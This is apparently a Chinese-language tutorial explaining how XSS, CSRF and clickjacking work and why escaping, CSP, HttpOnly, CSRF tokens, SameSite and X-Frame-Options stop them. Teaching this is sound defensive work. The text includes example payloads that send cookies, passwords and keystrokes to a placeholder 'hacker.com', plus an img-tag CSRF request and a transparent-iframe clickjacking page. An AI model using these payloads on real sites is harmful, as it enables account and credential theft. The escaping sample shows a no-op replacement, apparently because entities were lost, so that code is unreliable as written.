浅析XSS、CSRF、点击劫持为什么有安全问题及其各自预防措施为什么可有效预防
一、XSS 深度讲解:为什么能执行请求?
1、核心原理:你的页面执行了别人的代码
CSRF 是"借你身份发请求",XSS 更狠——> 攻击者的代码直接在你的浏览器里运行,拥有和你一样的权限。
2、关键前提:浏览器的同源信任
浏览器有一个信念:
在 bank.com 页面上运行的 JS 代码
= 就是 bank.com 官方的代码
= 可以读取 bank.com 的 Cookie、DOM、表单数据
XSS 就是打破这个假设——让攻击者的脚本以 bank.com 的身份运行。
3、存储型 XSS 完整攻击过程
场景:银行网站有个"留言/备注"功能,可以写文字保存。
(1)第一步:攻击者注入恶意脚本
攻击者在银行网站的"备注"输入框里输入:
<script>
// 把你的 Cookie 发给我的服务器
fetch('https://hacker.com/steal?c=' + document.cookie)
</script>
银行服务器没有过滤,直接把这段文字存进数据库
(2)第二步:你打开了那个页面
你登录银行,查看"留言记录",浏览器收到服务器返回的 HTML:
<div class="message">
<!-- 本来应该显示文字,结果变成了可执行的脚本 -->
<script>
fetch('https://hacker.com/steal?c=' + document.cookie)
</script>
</div>
(3)第三步:你的浏览器执行了这段脚本
浏览器认为:这是 bank.com 页面里的代码,可以信任
↓
脚本执行:读取 document.cookie
↓
获取到:session=abc123(你的登录凭证)
↓
发送到:https://hacker.com/steal?c=session=abc123
↓
攻击者拿到你的 Cookie → 直接用它登录你的账号
你什么都没做,只是"看了一下页面"。
4、XSS 能做的远不止偷 Cookie
攻击者的脚本在你页面里运行,能做一切你能做的事:
// 1. 直接调用转账接口(比 CSRF 更直接!)
fetch('https://bank.com/transfer', {
method: 'POST',
credentials: 'include', // 自动带上 Cookie
body: JSON.stringify({ to: 'hacker', amount: 10000 })
})
// 注意:这是从 bank.com 页面内发出的请求,不是跨域!
// CSRF Token 也没用——脚本可以先读取页面上的 token 再带上
// 2. 伪造登录表单,骗取账号密码
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<h2>您的登录已过期,请重新输入密码</h2>
<input id="pwd" type="password" placeholder="请输入密码">
<button onclick="steal()">确认</button>
</div>
`
function steal() {
fetch('https://hacker.com/pwd?p=' + document.getElementById('pwd').value)
}
// 3. 键盘监听,记录你输入的一切
document.addEventListener('keydown', (e) => {
fetch('https://hacker.com/key?k=' + e.key)
})
XSS 比 CSRF 危险在于:CSRF Token 挡不住 XSS——脚本可以先读取页面里的 token,再带着它发请求,完美绕过。
5、为什么"转义"能防住 XSS?
// 用户输入了:<script>alert('xss')</script>
// ❌ 直接渲染 → 变成可执行代码
element.innerHTML = userInput
// ✅ 转义后渲染 → 变成普通文字显示
// < → <
// > → >
element.innerHTML = userInput
.replace(/</g, '<')
.replace(/>/g, '>')
// 浏览器显示:<script>alert('xss')</script>(当文字展示,不执行)
转义的本质:让浏览器把 <script> 当成"要显示的文字",而不是"要执行的代码"。
6、为什么 CSP 能防 XSS?
先理解:XSS 脚本从哪里来?XSS 注入的脚本有两种形态:
<!-- 形态1:内联脚本(直接写在 HTML 里) -->
<script>fetch('https://hacker.com?c=' + document.cookie)</script>
<!-- 形态2:外联脚本(从外部加载) -->
<script src="https://hacker.com/evil.js"></script>
CSP 的本质:给浏览器一份"白名单"。服务器通过响应头告诉浏览器:
Content-Security-Policy: default-src 'self'; script-src 'self'
意思是:
default-src 'self' → 所有资源默认只能从"我自己的域名"加载
script-src 'self' → JS 脚本只能从"我自己的域名"加载
外部域名的脚本?不执行!
页面内直接写的 <script>?不执行!
CSP 如何拦截 XSS 的两种形态?
1、拦截外联脚本
<!-- 攻击者注入了这个 -->
<script src="https://hacker.com/evil.js"></script>
<!-- 浏览器加载前检查 CSP 白名单:
hacker.com 不在白名单里 → 直接拒绝加载 ✅ -->
2、拦截内联脚本
<!-- 攻击者注入了这个 -->
<script>document.cookie // 发给黑客</script>
<!-- 浏览器看到内联脚本 → 检查 CSP:
没有 'unsafe-inline' 声明 → 不执行!✅ -->
一个关键细节
你可能会问:既然 CSP 连内联脚本都能拦截,那正常网站自己写的 <script> 岂不也被拦了?是的! 所以开启 CSP 后,正规的做法是:
<!-- ❌ 不能再这样写了 -->
<button onclick="handleClick()">点我</button>
<script>function handleClick() { ... }</script>
<!-- ✅ 要改成外联文件的方式 -->
<script src="/js/app.js"></script> <!-- 来自自己域名,白名单放行 ✅ -->
这正是 CSP 的强大之处:它迫使开发者把所有脚本放到独立文件里,攻击者注入的内联脚本就没有"藏身之地"了。
CSP 拦截流程图
浏览器准备执行一段脚本
↓
检查这段脚本的来源
↓
┌───────────────────────────────────────┐
│ 来自 self(自己域名的 .js 文件)? │ → 允许执行 ✅
│ 内联 <script> 标签? │ → 拒绝执行 ❌
│ 来自 hacker.com 的外部文件? │ → 拒绝执行 ❌
└───────────────────────────────────────┘
即使 XSS 注入成功(脚本已经出现在 HTML 里),CSP 也能阻止脚本被执行。 这是 CSP 的价值所在——最后一道防线。
7、为什么 HttpOnly Cookie 能防 XSS?
先回顾:XSS 偷 Cookie 的方式
// XSS 注入的脚本执行后,第一件事就是:
fetch('https://hacker.com/steal?c=' + document.cookie)
// ↑
// 读取所有 Cookie
document.cookie 是浏览器提供给 JS 读取 Cookie 的 API。
HttpOnly 的本质:对 JS 隐藏这个 Cookie
服务器设置 Cookie 时加上 HttpOnly:Set-Cookie: token=abc123; HttpOnly
效果:
// 正常 Cookie(没有 HttpOnly)
document.cookie // 输出: "token=abc123; other=xxx"
// HttpOnly Cookie
document.cookie // 输出: "other=xxx"
// token 完全消失!JS 看不见它!
浏览器内部发生了什么?
服务器返回:Set-Cookie: token=abc123; HttpOnly
↓
浏览器把 token 存起来,并贴上标签:[仅 HTTP 可用]
↓
┌─────────────────────────────────────────┐
│ JS 代码尝试读取 document.cookie │
│ 浏览器检查每个 Cookie 的标签 │
│ → token 有 [仅 HTTP 可用] 标签 │
│ → 把它从 document.cookie 结果中排除 │
└─────────────────────────────────────────┘
↓
攻击者的脚本:document.cookie → 拿不到 token ✅
↓
但!浏览器发 HTTP 请求时,会自动带上所有 Cookie(包括 HttpOnly 的)
→ 正常业务不受影响
Cookie 存储空间
┌─────────────────────────────────────────────┐
│ token=abc123 [HttpOnly 标记] │
│ theme=dark │
│ lang=zh-CN │
└─────────────────────────────────────────────┘
↑ ↑
JS 读不到 HTTP 请求照常带上
(攻击者偷不走) (正常业务不影响)
HttpOnly 的局限性:HttpOnly 只能防 Cookie 被偷,但 XSS 脚本还能做其他坏事:
// Cookie 偷不走,但还能:
// 1. 直接发接口请求(带着 Cookie,浏览器自动加)
fetch('/transfer', { method: 'POST', credentials: 'include', ... })
// 2. 修改页面 DOM,钓鱼骗密码
document.body.innerHTML = '<假登录框>'
// 3. 监听键盘输入
document.addEventListener('keydown', ...)
所以 HttpOnly + CSP 要配合使用:
- HttpOnly → 防 Cookie 被偷走
- CSP → 直接阻止恶意脚本执行
两者的关系:
XSS 攻击链:
注入脚本 → 脚本执行 → 偷 Cookie → 拿走 token → 冒充用户
CSP 切断: ↑
阻止脚本执行(治本)
HttpOnly 切断: ↑
就算脚本执行,也偷不走 token(治标)
CSP 是治本,HttpOnly 是兜底。两道防线同时存在,才是完整的防御。
二、CSRF 深度讲解:为什么能"伪造"请求?
1、先理解一个关键前提:Cookie 的自动携带机制。这是 CSRF 能成立的根本原因。
浏览器有一个默认行为:只要你向某个域名发请求,浏览器会自动把该域名下的 Cookie 带上——不管这个请求是从哪个页面发出来的。
你登录了 bank.com
↓
浏览器存了 Cookie: session=abc123(代表你的身份)
↓
此后任何页面,只要发请求到 bank.com
↓
浏览器自动携带 Cookie: session=abc123
↓
银行服务器看到 Cookie → 认为是你本人操作
2、完整攻击过程(逐步拆解)
(1)第一步:你正常登录银行
你 → 打开 bank.com → 输入账号密码 → 登录成功
银行服务器 → 返回 Set-Cookie: session=abc123
浏览器 → 把 session=abc123 存起来
此时你的浏览器里有一个有效的登录凭证。
(2)第二步:攻击者构造恶意页面
攻击者知道银行的转账接口长这样:GET https://bank.com/transfer?to=黑客账号&amount=10000
于是他做了一个钓鱼网站,里面放了:
<!-- 看起来是一张图片,实际是一个 HTTP 请求 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
(3)第三步:诱导你访问恶意页面
攻击者发你一条消息:"点击领取优惠券 🎁 → http://evil.com/coupon"
你点开了,这个页面在你浏览器里加载……
(4)第四步:浏览器自动完成攻击
evil.com 页面加载
↓
浏览器发现要请求 bank.com/transfer
↓
浏览器自动查找 bank.com 的 Cookie
↓
找到了!session=abc123(你之前登录留下的)
↓
自动携带 Cookie 发出请求:
GET https://bank.com/transfer?to=hacker&amount=10000
Cookie: session=abc123
↓
银行服务器验证 Cookie 有效 → 认为是你本人操作
↓
转账成功 💸
你全程什么都没做,只是打开了一个网页。
3、为什么银行服务器"认不出"这是伪造的?
因为银行服务器只会检查
✅ Cookie 有没有? → 有(浏览器自动带的)
✅ Cookie 是否有效?→ 有效(你确实登录了)
❌ 这个请求是不是从我自己的页面发出来的?→ 没检查!
这就是问题所在:服务器只验证了"身份",没有验证"意图来源"。
4、CSRF Token 为什么能防住?
原理:在请求里加一个攻击者无法获得的随机值。
你打开 bank.com 转账页面
↓
服务器生成随机 token: csrf_token=xyz789
把它放在表单隐藏字段里(或响应头里)
↓
你提交转账时,必须携带这个 token:
POST /transfer
Cookie: session=abc123 ← 浏览器自动带
Body: to=xxx&amount=100&csrf_token=xyz789 ← 必须主动带
↓
服务器验证 csrf_token 是否匹配 → 匹配才执行
攻击者的页面拿不到这个 token(跨域读取被同源策略阻止),所以伪造的请求里没有有效 token,银行拒绝执行。
evil.com 发出的请求:
POST /transfer
Cookie: session=abc123 ← 浏览器自动带(攻击者得逞)
Body: to=hacker&amount=10000 ← 没有 csrf_token!
↓
服务器:token 对不上 → 拒绝请求 ✅
5、SameSite Cookie 为什么也能防住?
现代浏览器的 SameSite 属性直接在源头切断:
Set-Cookie: session=abc123; SameSite=Strict
效果:
从 evil.com 发向 bank.com 的请求
↓
浏览器:这是跨站请求,SameSite=Strict 的 Cookie 不带!
↓
请求到达银行:没有 Cookie → 未登录状态 → 拒绝
6、一句话总结
CSRF 的本质是浏览器的"热心肠":它太积极地帮你带 Cookie 了,连跨站请求也带。攻击者正是利用了这一点,借你的"通行证"做坏事。
防御核心:让服务器能区分"用户主动发的请求"和"被人借用身份发的请求"——CSRF Token 和 SameSite Cookie 都是在做这件事。
三、点击劫持(Clickjacking)
1、核心原理:你以为点了 A,实际点了 B
攻击者把真实网站"套"在自己页面上,设为透明,让你在不知情的情况下点击了真实网站的按钮。
2、完整攻击过程
(1)第一步:攻击者分析目标
攻击者发现银行转账确认页面:https://bank.com/confirm-transfer?to=hacker&amount=10000,打开后只有一个按钮:"确认转账"。
(2)第二步:构造诱饵页面
<!DOCTYPE html>
<html>
<head>
<style>
/* 诱饵:一个游戏页面,有个"领取奖励"按钮 */
.fake-btn {
position: absolute;
top: 200px;
left: 150px;
z-index: 1; /* 在下面,你能看见 */
font-size: 20px;
padding: 12px 24px;
background: #ff6600;
color: white;
border-radius: 8px;
}
/* 真实银行 iframe:透明覆盖在按钮上方 */
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 完全透明,你看不见! */
z-index: 2; /* 在上面,实际接收点击 */
}
</style>
</head>
<body>
<h1>🎮 恭喜!你已获得游戏大奖!</h1>
<button class="fake-btn">点击领取 ¥188 奖励</button>
<!-- 你以为在点"领取奖励",实际点的是这个 -->
<iframe src="https://bank.com/confirm-transfer?to=hacker&amount=10000">
</iframe>
</body>
</html>
(3)第三步:你访问并点击
你打开了诱饵页面
↓
你看到:一个游戏页面 + 橙色"领取奖励"按钮
(你看不见银行 iframe,它是透明的)
↓
你点击"领取奖励"
↓
实际上:你的点击穿透了诱饵层,落在透明 iframe 上
↓
iframe 里是银行的"确认转账"按钮,刚好对齐
↓
因为你已登录银行(Cookie 有效)
↓
银行执行转账:¥10000 → 黑客账号 💸
3、为什么 X-Frame-Options 能防住?
注意是银行网页设置自己不能被嵌套。
银行服务器在响应里加这个头X-Frame-Options: DENY,浏览器收到后:
浏览器加载 iframe src="https://bank.com/..."
↓
收到响应头:X-Frame-Options: DENY
↓
浏览器:这个页面不允许被嵌套!拒绝渲染 iframe
↓
攻击者的页面里:iframe 一片空白
↓
攻击失败 ✅
四、XSS vs CSRF vs 点击劫持 对比
XSS | CSRF | 点击劫持 | |
|---|---|---|---|
| 攻击手段 | 注入脚本在目标站执行 | 借 Cookie 跨站发请求 | 透明 iframe 诱导误点 |
| 需要用户交互 | 不一定(访问页面就触发) | 不一定(加载图片就触发) | 需要用户点击 |
| 能否绕过 CSRF Token | 能(脚本直接读取 token) | 不能 | 能(用户本人点的) |
| Cookie 的角色 | 被直接偷走 | 被自动携带 | 被正常使用(用户点击) |
| 核心防御 | 转义输出 + CSP + httpOnly cookie防盗 | CSRF Token + SameSite | X-Frame-Options |
三句话总结
- XSS:攻击者的代码"住进了"你的页面,拥有你的一切权限,直接为所欲为
- CSRF:攻击者不需要进你家,只需要在门口喊一声,浏览器这个"忠实管家"就自动带着你的钥匙去开门
- 点击劫持:攻击者在你的手和真实按钮之间放了一块"玻璃",你以为在摸玻璃上的画,实际摁的是玻璃后面的按钮

浙公网安备 33010602011771号